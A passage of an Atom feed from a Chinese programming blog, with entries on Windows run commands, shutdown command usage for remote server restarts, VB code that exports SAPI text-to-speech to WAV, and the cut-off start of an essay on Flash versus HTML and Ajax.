客户端网络实用程序&lt;br /&gt;Clipbrd--------剪贴板查看器&lt;br /&gt;conf-----------启动netmeeting&lt;br /&gt;compmgmt.msc---计算机管理&lt;br /&gt;cleanmgr-------**整理&lt;br /&gt;ciadv.msc------索引服务程序&lt;br /&gt;osk------------打开屏幕键盘&lt;br /&gt;odbcad32-------ODBC数据源管理器&lt;br /&gt;oobe/msoobe /a----检查XP是否激活&lt;br /&gt;lusrmgr.msc----本机用户和组&lt;br /&gt;logoff---------注销命令&lt;br /&gt;iexpress-------&lt;a href="http://www.77169.com/Article/List/List_41.html"&gt;木马&lt;/a&gt;捆绑工具，系统自带&lt;br /&gt;Nslookup-------IP地址侦测器&lt;br /&gt;fsmgmt.msc-----共享文件夹管理器&lt;br /&gt;utilman--------辅助工具管理器&lt;br /&gt;gpedit.msc-----组策略&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/2129219.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129219.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129220.html</id><title type="text">Windows远程关机和shutdown命令双保服务器重启</title><summary type="text">我们在进行服务器远程维护时，经常需要进行远程关机、重启等操作，但是经常由于进程的异常退出导致服务器的出现假死现象，无法正常关机或重启，然后不得不得求助于机房人员协助硬重启，笔者在使用中，总结的经验是同时使用SHUTDOWN强制关机重启命令和开始菜单的关机重启命令，基本可以保障服务器快速重新启动起来，很少出过问题。 综合使用方法如下： 1、shutdown -r -f 2、“开始”菜单→“关闭计算机”→“重新启动” 两条命令同时运行，当然之前最好把一些重要的服务停止掉，比如数据库等防止丢失数据。第一条shutdown命令执行后会有个延迟，可以保证把未退出的程 序咔嚓掉，如果单纯使用开始菜单的重.</summary><published>2011-08-06T02:02:00Z</published><updated>2011-08-06T02:02:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129220.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129220.html"/><content type="html">&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我们在进行服务器远程维护时，经常需要进行远程关机、重启等操作，但是经常由于进程的异常退出导致服务器的出现假死现象，无法正常关机或重启，然后不得不得求助于机房人员协助硬重启，笔者在使用中，总结的经验是&lt;span style="color: red"&gt;&lt;strong&gt;同时使用SHUTDOWN强制关机重启命令和开始菜单的关机重启命令&lt;/strong&gt;&lt;/span&gt;，基本可以保障服务器快速重新启动起来，很少出过问题。 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 综合使用方法如下： &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1、shutdown -r -f &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2、&amp;#8220;开始&amp;#8221;菜单&amp;#8594;&amp;#8220;关闭计算机&amp;#8221;&amp;#8594;&amp;#8220;重新启动&amp;#8221; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  两条命令同时运行，当然之前最好把一些重要的服务停止掉，比如数据库等防止丢失数据。第一条shutdown命令执行后会有个延迟，可以保证把未退出的程 序咔嚓掉，如果单纯使用开始菜单的重启命令进行远程重启，出现服务器无法正常关机的概率是相当大的，可以说是非常的不可靠，反而shutdown命令要更 加可靠一些，但还是为了完全，笔者每次都是两条命令同时用，虽然麻烦一点但总比去找机房人员协助要方便点，毕竟服务器也不是经常重启。这里顺便把 shutdown命令的详尽用法做个介绍仅供参考。 &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;一、shutdown命令的语法格式&lt;/strong&gt; &lt;br /&gt;用法：shutdown [-i/-l/-s/-r/-a][-f][-m \\computername][-t xx][-c "comment"][-d [u][p]:xx:yy] &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;各参数的含义为：&lt;/strong&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -i 显示 GUI（图形用户界面）对话框，必须是第一个选项； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -l 注销当前用户(默认设置会注销当前用户) （不能与选项 -m 一起使用）； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -s 关闭此计算机； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -r 关闭并立即重启此计算机； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -a 放弃系统关机，除了-l和ComputerName外，系统将忽略其他参数。在超时期间，你只能使用-a； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -f 强制运行的应用程序关闭而没有警告； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -m \\computername 指定远程计算机关闭/重启动/放弃（不指定默认为本机）； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -t xx 设置关闭的超时为 xx 秒（将用于系统关闭的定时器设置为XX秒，默认是20秒）； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -c "comment" 指定将在&amp;#8220;系统关闭&amp;#8221;窗口中的&amp;#8220;消息&amp;#8221;区域显示消息，最多可以使用127个字符； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -d [u][p]:xx:yy列出系统关闭的原因代码，为系统关机日志记录使用； &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u&amp;nbsp; 是用户代码 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p&amp;nbsp; 是一个计划的关闭代码 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xx&amp;nbsp; 是一个主要原因代码（小于 256 的正整数） &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yy&amp;nbsp; 是一个次要原因代码（小于 65536 的正整数） &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;二、shutdown命令使用实例&lt;/strong&gt; &lt;br /&gt;&lt;strong&gt;1、shutdown -r -f&lt;/strong&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  该命令为要求计算机马上强制关闭任何应用程序，并重新启动计算机。如果不需要重启，则只需要把-r改为-s即可，如果需要延迟一段时间只需要加上-t  XXX，加上时间延迟相当于预设置命令，在系统某些任务暂未运行完毕的情况下很有用，比如下载完成，程序运行等。 &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;2、关闭远程计算机&lt;/strong&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 使用参数-m[\\ComputerName]可指定将要关闭或重启的远程计算机名称（不设置或为空则默认对本机操作） &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shutdown -s -m \\remotewin -t 45 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 上述命令为在45秒内关闭局域网内计算机名为remotewin的计算机，如果返回&amp;#8220;ACCESS IS DENIDED&amp;#8221;的提示，说明您没有权限关闭远程计算机。需要设置WINDOWS的安全策略或被授权远程关闭计算机。 &lt;br /&gt;	 &lt;br /&gt;&lt;strong&gt;3、以对话框界面执行关机命令&lt;/strong&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 只需要在上述关机命令中添加一个&amp;#8220;-i&amp;#8221;参数即可 &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;4）取消关机命令&lt;/strong&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 执行上述的关机命令后，如感到后悔并想赶紧取消关机，请马上输入命令：shutdown -a，即可立即取消上述有关关机操作，当然前提关机命令设置的关机时间仍未到，如果计算机进入关机状态或原设置的关机命令是立即关机则已无力回天，取消关机是无法生效的。 &lt;br /&gt; &lt;br /&gt;&lt;strong&gt;三、补充：&lt;/strong&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  1、在我们设置重启之后，大家自己可以总结自己远程计算机的实际重启时间，直到可以远程登录，对于维护服务器时间紧迫性很重要，一般是3-4分钟，这个时 间会受到&amp;#8220;自检&amp;#8221;、&amp;#8220;启动运行软件比如GHOST等&amp;#8221;、&amp;#8220;启动菜单延迟等待，比如双启系统或一键还原的默认的等待时间&amp;#8221;等影响，如果超过自己预感的时间限 制，比如半个小时等，那计算机也太有点不够意思了，只能寻求机房人员协助摆平了。 &lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2、SHUTDOWN远程关机是需要权限的，在gpedit.msc组策略编辑器打开&amp;#8220;计算机配置&amp;#8212;&amp;#8212;Windows设置&amp;#8212;&amp;#8212;安全设置&amp;#8212;&amp;#8212;本地策略&amp;#8212;&amp;#8212;用户权利指派&amp;#8221;，在右边的窗口选择&amp;#8220;从远端系统强制关机&amp;#8221;进行设置或权限指派。 &lt;/div&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/2129220.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129220.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/02/22/1961476.html</id><title type="text">TTS 导出 wav 音频（转）</title><summary type="text">TTS 导出 wav 音频实例一：Sub Form_Load()Const SSFMCreateForWrite = 3Const SAFT22kHz16BitMono = 22Const SVSFlagsAsync = 1Set objVoice = CreateObject(“SAPI.SpVoice”)objVoice.Volume = 100objVoice.Rate = 1Set objVoice.Voice = objVoice.GetVoices().Item(0)Set fso = CreateObject(“Scripting.FileSystemObject”)Set f.</summary><published>2011-02-22T08:55:00Z</published><updated>2011-02-22T08:55:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/02/22/1961476.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/02/22/1961476.html"/><content type="html">&lt;span  style="word-spacing: 0px; font: medium Simsun; text-transform: none; color: rgb(0,0,0); text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; orphans: 2; widows: 2; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px"&gt;&lt;span  style="font-size: 14px; color: rgb(51,51,51); line-height: 21px; font-family: Verdana, Arial, Helvetica, sans-serif; text-align: left"&gt; &#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;TTS 导出 wav 音频&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;实例一：&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Sub Form_Load()&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SSFMCreateForWrite = 3&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SAFT22kHz16BitMono = 22&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SVSFlagsAsync = 1&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set objVoice = CreateObject(&amp;#8220;SAPI.SpVoice&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.Volume = 100&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.Rate = 1&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set objVoice.Voice = objVoice.GetVoices().Item(0)&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set fso = CreateObject(&amp;#8220;Scripting.FileSystemObject&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set f = fso.OpenTextFile(&amp;#8220;d:\3.txt&amp;#8221;, 1)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Text = f.ReadAll&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set objFileStream = CreateObject(&amp;#8220;SAPI.SpFileStream&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Format.Type = SAFT22kHz16BitMono&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Open &amp;#8220;d:\test.wav&amp;#8221;, SSFMCreateForWrite, False&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set objVoice.AudioOutputStream = objFileStream&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;objVoice.Speak Text, SVSFlagsAsync&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.WaitUntilDone -1&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Close&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;End Sub&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;&lt;strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;中文需做如下改动&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Private Sub Form_Load()&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set objVoice = CreateObject(&amp;#8220;SAPI.SpVoice&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set colVoice = objVoice.GetVoices() &amp;#8216;获得语音引擎集合&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.Volume = 100 &amp;#8216;设置音量，0到100，数字越大音量越大&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.Rate = 0&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;&amp;#8216;得到所需语音引擎的编号&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;langCN = &amp;#8220;MSSimplifiedChineseVoice&amp;#8221; &amp;#8216;简体中文&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;langEN = &amp;#8220;MSSam&amp;#8221; &amp;#8216;如果安装了TTS Engines 5.1，还可以选择MSMike,MSMary&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;For i = 0 To colVoice.Count &amp;#8211; 1&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;If Right(colVoice(i).Id, Len(langCN)) = langCN Then cnVoice = i&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;If Right(colVoice(i).Id, Len(langEN)) = langEN Then enVoice = i&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Next&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Const SSFMCreateForWrite = 3&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SAFT22kHz16BitMono = 22&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SVSFlagsAsync = 1&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set objVoice.Voice = colVoice.Item(cnVoice)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set fso = CreateObject(&amp;#8220;Scripting.FileSystemObject&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set f = fso.OpenTextFile(&amp;#8220;d:\3.txt&amp;#8221;, 1)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Text = f.ReadAll&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set objFileStream = CreateObject(&amp;#8220;SAPI.SpFileStream&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Format.Type = SAFT22kHz16BitMono&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Open &amp;#8220;d:\test.wav&amp;#8221;, SSFMCreateForWrite, False&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set objVoice.AudioOutputStream = objFileStream&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;objVoice.Speak Text, SVSFlagsAsync&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.WaitUntilDone -1&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Close&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;实例二：&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Private Sub Form_Load()&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SSFMCreateForWrite = 3&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SAFT22kHz16BitMono = 22&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Const SVSFlagsAsync = 1&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set objVoice = CreateObject(&amp;#8220;SAPI.SpVoice&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.Volume = 100&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.Rate = 1&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set objVoice.Voice = objVoice.GetVoices().Item(0)&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set fso = CreateObject(&amp;#8220;Scripting.FileSystemObject&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set f = fso.OpenTextFile(&amp;#8220;d:\3.txt&amp;#8221;, 1)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Text = f.ReadAll&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;Set objFileStream = CreateObject(&amp;#8220;SAPI.SpFileStream&amp;#8221;)&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Format.Type = SAFT22kHz16BitMono&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Open &amp;#8220;d:\test.wav&amp;#8221;, SSFMCreateForWrite, False&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;Set objVoice.AudioOutputStream = objFileStream&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;objVoice.Speak Text, SVSFlagsAsync&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objVoice.WaitUntilDone -1&lt;br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /&gt;objFileStream.Close&lt;/p&gt;&#xD;
&lt;p style="padding-right: 0px; padding-left: 0px; padding-bottom: 8px; margin: 0px; color: rgb(85,85,85); line-height: 22px; padding-top: 8px; text-align: justify"&gt;End Sub&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/1961476.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/02/22/1961476.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951532.html</id><title type="text">Flash、HTML、Ajax 谁将赢得Web应用之战</title><summary type="text">网页由静态文本和图片组成的时代早就已经过去，随着Web技术的成熟，它已经开始向一个用户体验丰富、交互性强的应用平台发展，在这个演变过程中不同的技术之间将存在激烈的竞争，来证明自己是最适合这个平台的技术，不过根据目前情况来看，未来一段时间内，Web应用技术依然将是百花齐放，而并非一枝独秀。　　　Web应用之战的一个阵营是最初的网页描述技术HTML，它也叫做超文本标记语言。几年之后，JavaScript编程语言的出现使其能力得到一定提高，最近这个阵营又多了Ajax技术的支持。　　　另一个阵营是Adobe的Flash技术，最初它的用途是用来展示图形动画。几年之后它已经成长为一个更加强大的编程平台，最</summary><published>2011-02-11T09:34:00Z</published><updated>2011-02-11T09:34:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951532.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/02/11/1951532.html"/><content type="html">&amp;nbsp;网页由静态文本和图片组成的时代早就已经过去，随着Web技术的成熟，它已经开始向一个用户体验丰富、交互性强的应用平台发展，在这个演变过程中不同的技术之间将存在激烈的竞争，来证明自己是最适合这个平台的技术，不过根据目前情况来看，未来一段时间内，Web应用技术依然将是百花齐放，而并非一枝独秀。&lt;br /&gt;　&lt;br /&gt;　　Web应用之战的一个阵营是最初的网页描述技术HTML，它也叫做超文本标记语言。几年之后，JavaScript编程语言的出现使其能力得到一定提高，最近这个阵营又多了Ajax技术的支持。&lt;br /&gt;　&lt;br /&gt;　　另一个阵营是Adobe的Flash技术，最初它的用途是用来展示图形动画。几年之后它已经成长为一个更加强大的编程平台，最近它又多了一个竞争对手：微软的Silverlight技术。&lt;br /&gt;　&lt;br /&gt;　　随着互联网新兴公司和诸如谷歌之类的网络巨人争相把个人计算机软件转化为可以在互联网上提供的服务，所有这些技术都在迅速的往前发展。尽管在性能方面，这些所谓的富互联网应用还无法和基于PC的应用相比并论，但是它也具有自己的优点，例如数据更容易共享，无需安装即可使用，还有可以从多个设备终端进行访问等。&lt;br /&gt;　&lt;br /&gt;　　对于一般用户来说，并不需要过多关注他们的在线应用之下究竟了使用哪一种技术，但是如果你要开发公司的在线报表工具，或者准备开发一个让网民使用的在线音乐工具，你将不得不判断哪一种技术最适合你使用，进而来招聘或培训哪一方面的程序员。&lt;br /&gt;　&lt;br /&gt;　　多数人认为这场战争的胜者不会在短时间内见分晓。Adobe公司的富互联网应用专家Kevin Hoyt表示，&amp;#8220;在未来几年内你将看到多种技术共存的局面。&amp;#8221;&lt;br /&gt;　&lt;br /&gt;　　尽管如此，计算机业的人们喜欢讨论竞争话题，因为竞争让各家公司不会满足现状而不断创新。但是如果某个技术最终胜出的话，大多数工程师无需再为选择哪一种技术而苦恼，这也是非常好的一件事情。 &#xD;
&lt;p&gt;HTML阵营&lt;/p&gt;&lt;span id="divEduHZH" name="divEduHZH"&gt;&lt;/span&gt;&#xD;
